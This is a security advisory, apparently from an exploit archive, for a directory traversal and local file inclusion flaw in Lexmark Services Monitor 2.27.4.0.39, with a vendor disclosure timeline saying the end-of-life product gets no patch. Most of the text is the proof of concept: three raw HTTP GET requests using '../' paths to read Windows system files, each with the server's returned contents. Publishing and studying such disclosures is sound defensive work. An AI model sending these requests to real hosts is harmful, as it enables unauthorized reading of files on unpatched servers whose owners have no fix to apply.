Share
# Exploit Title: Lexmark Services Monitor 2.27.4.0.39 - Directory Traversal
# Google Dork: N/A‚Äč
# Date: 2019‚Äč-11-15
# Exploit Author: Kevin Randall‚Äč
# Vendor Homepage: https://www.lexmark.com/en_us.html‚Äč
# Software Link: https://www.lexmark.com/en_us.html‚Äč
# Version: 2.27.4.0.39 (Latest Version)‚Äč
# Tested on: Windows Server 2012‚Äč
# CVE : N/A
‚Äč
‚Äč
Vulnerability: Lexmark Services Monitor (Version 2.27.4.0.39) Runs on TCP Port 2070. The latest version is vulnerable to a Directory Traversal and Local File Inclusion vulnerability.‚Äč
‚Äč
Timeline:‚Äč
Discovered on: 9/24/2019‚Äč
Vendor Notified: 9/24/2019‚Äč
Vendor Confirmed Receipt of Vulnerability: 9/24/2019‚Äč
Follow up with Vendor: 9/25/2019‚Äč
Vendor Sent to Engineers to confirm validity: 9/25/2019 - 9/26/2019‚Äč
Vendor Confirmed Vulnerability is Valid: 9/26/2019‚Äč
Vendor Said Software is EOL (End of Life). Users should upgrade/migrate all LSM with LRAM. No fix/patch will be made: 9/27/2019‚Äč
Vendor Confirmed Signoff to Disclose: 9/27/2019‚Äč
Final Email Sent: 9/27/2019‚Äč
Public Disclosure: 11/15/2019‚Äč
‚Äč
PoC:‚Äč
‚Äč
GET /../../../../../../windows/SysWOW64/PerfStringBackup.ini HTTP/1.1‚Äč
TE: deflate,gzip;q=0.3‚Äč
Connection: TE, close‚Äč
Host: 10.200.15.70:2070‚Äč
User-Agent: Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20‚Äč
‚Äč
HTTP/1.0 200 OK‚Äč
Server: rXpress‚Äč
Content-Length: 848536‚Äč
‚Äč
‚Äč
.‚Äč
.‚Äč
.‚Äč
.[.P.e.r.f.l.i.b.].‚Äč
.‚Äč
.B.a.s.e. .I.n.d.e.x.=.1.8.4.7.‚Äč
.‚Äč
.L.a.s.t. .C.o.u.n.t.e.r.=.3.3.3.4.6.‚Äč
.‚Äč
.L.a.s.t. .H.e.l.p.=.3.3.3.4.7.‚Äč
.‚Äč
.‚Äč
.‚Äč
.[.P.E.R.F._...N.E.T. .C.L.R. .D.a.t.a.].‚Äč
.‚Äč
.F.i.r.s.t. .C.o.u.n.t.e.r.=.5.0.2.8.‚Äč
.‚Äč
.F.i.r.s.t. .H.e.l.p.=.5.0.2.9.‚Äč
.‚Äč
.L.a.s.t. .C.o.u.n.t.e.r.=.5.0.4.0.‚Äč
.‚Äč
.L.a.s.t. .H.e.l.p.=.5.0.4.1.‚Äč
.‚Äč
.‚Äč
.‚Äč
.[.P.E.R.F._...N.E.T. .C.L.R. .N.e.t.w.o.r.k.i.n.g.].‚Äč
.‚Äč
.F.i.r.s.t. .C.o.u.n.t.e.r.=.4.9.8.6.‚Äč
‚Äč
‚Äč
GET /../../../../../windows/SysWOW64/slmgr/0409/slmgr.ini HTTP/1.1‚Äč
TE: deflate,gzip;q=0.3‚Äč
Connection: TE, close‚Äč
Host: 10.200.15.70:2070‚Äč
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.3‚Äč
‚Äč
HTTP/1.0 200 OK‚Äč
Server: rXpress‚Äč
Content-Length: 38710‚Äč
‚Äč
..[.S.t.r.i.n.g.s.].‚Äč
.‚Äč
.L._.o.p.t.I.n.s.t.a.l.l.P.r.o.d.u.c.t.K.e.y.=.".i.p.k.".‚Äč
.‚Äč
.L._.o.p.t.I.n.s.t.a.l.l.P.r.o.d.u.c.t.K.e.y.U.s.a.g.e.=.".I.n.s.t.a.l.l. .p.r.o.d.u.c.t. .k.e.y. .(.r.e.p.l.a.c.e.s. .e.x.i.s.t.i.n.g. .k.e.y.).".‚Äč
.‚Äč
.L._.o.p.t.U.n.i.n.s.t.a.l.l.P.r.o.d.u.c.t.K.e.y.=.".u.p.k.".‚Äč
.‚Äč
.L._.o.p.t.U.n.i.n.s.t.a.l.l.P.r.o.d.u.c.t.K.e.y.U.s.a.g.e.=.".U.n.i.n.s.t.a.l.l. .p.r.o.d.u.c.t. .k.e.y.".‚Äč
.‚Äč
.L._.o.p.t.A.c.t.i.v.a.t.e.P.r.o.d.u.c.t.=.".a.t.o.".‚Äč
.‚Äč
.L._.o.p.t.A.c.t.i.v.a.t.e.P.r.o.d.u.c.t.U.s.a.g.e.=.".A.c.t.i.v.a.t.e. .W.i.n.d.o.w.s.".‚Äč
.‚Äč
.L._.o.p.t.D.i.s.p.l.a.y.I.n.f.o.r.m.a.t.i.o.n.=.".d.l.i.".‚Äč
.‚Äč
.L._.o.p.t.D.i.s.p.l.a.y.I.n.f.o.r.m.a.t.i.o.n.U.s.a.g.e.=.".D.i.s.p.l.a.y. .l.i.c.e.n.s.e. .i.n.f.o.r.m.a.t.i.o.n. .(.d.e.f.a.u.l.t.:. .c.u.r.r.e.n.t. .l.i.c.e.n.s.e.).".‚Äč
.‚Äč
.L._.o.p.t.D.i.s.p.l.a.y.I.n.f.o.r.m.a.t.i.o.n.V.e.r.b.o.s.e.=.".d.l.v.".‚Äč
.‚Äč
.L._.o.p.t.D.i.s.p.l.a.y.I.n.f.o.r.m.a.t.i.o.n.U.s.a.g.e.V.e.r.b.o.s.e.=.".D.i.s.p.l.a.y. .d.e.t.a.i.l.e.d. .l.i.c.e.n.s.e. .i.n.f.o.r.m.a.t.i.o.n. .(.d.e.f.a.u.l.t.:. .c.u.r.r.e.n.t. .l.i.c.e.n.s.e.).".‚Äč
.‚Äč
.L._.o.p.t.E.x.p.i.r.a.t.i.o.n.D.a.t.i.m.e.=.".x.p.r.".‚Äč
‚Äč
‚Äč
‚Äč
‚Äč
GET /../../../../../windows/system32/drivers/etc/services HTTP/1.1‚Äč
TE: deflate,gzip;q=0.3‚Äč
Connection: TE, close‚Äč
Host: 10.200.15.70:2070‚Äč
User-Agent: Opera/9.50 (Macintosh; Intel Mac OS X; U; de)‚Äč
‚Äč
HTTP/1.0 200 OK‚Äč
Server: rXpress‚Äč
Content-Length: 17463‚Äč
‚Äč
# Copyright (c) 1993-2004 Microsoft Corp.‚Äč
#‚Äč
# This file contains port numbers for well-known services defined by IANA‚Äč
#‚Äč
# Format:‚Äč
#‚Äč
# <service name>  <port number>/<protocol>  [aliases...]   [#<comment>]‚Äč
#‚Äč
‚Äč
echo                7/tcp‚Äč
echo                7/udp‚Äč
discard             9/tcp    sink null‚Äč
discard             9/udp    sink null‚Äč
systat             11/tcp    users                  #Active users‚Äč
systat             11/udp    users                  #Active users‚Äč
daytime            13/tcp‚Äč
daytime            13/udp‚Äč
qotd               17/tcp    quote                  #Quote of the day‚Äč
qotd               17/udp    quote                  #Quote of the day‚Äč
chargen            19/tcp    ttytst source          #Character generator‚Äč
chargen            19/udp    ttytst source          #Character generator‚Äč
ftp-data           20/tcp                           #FTP, data‚Äč
ftp                21/tcp                           #FTP. control‚Äč
ssh                22/tcp                           #SSH Remote Login Protocol‚Äč
telnet             23/tcp‚Äč
smtp               25/tcp    mail                   #Simple Mail Transfer Protocol‚Äč
time               37/tcp    timserver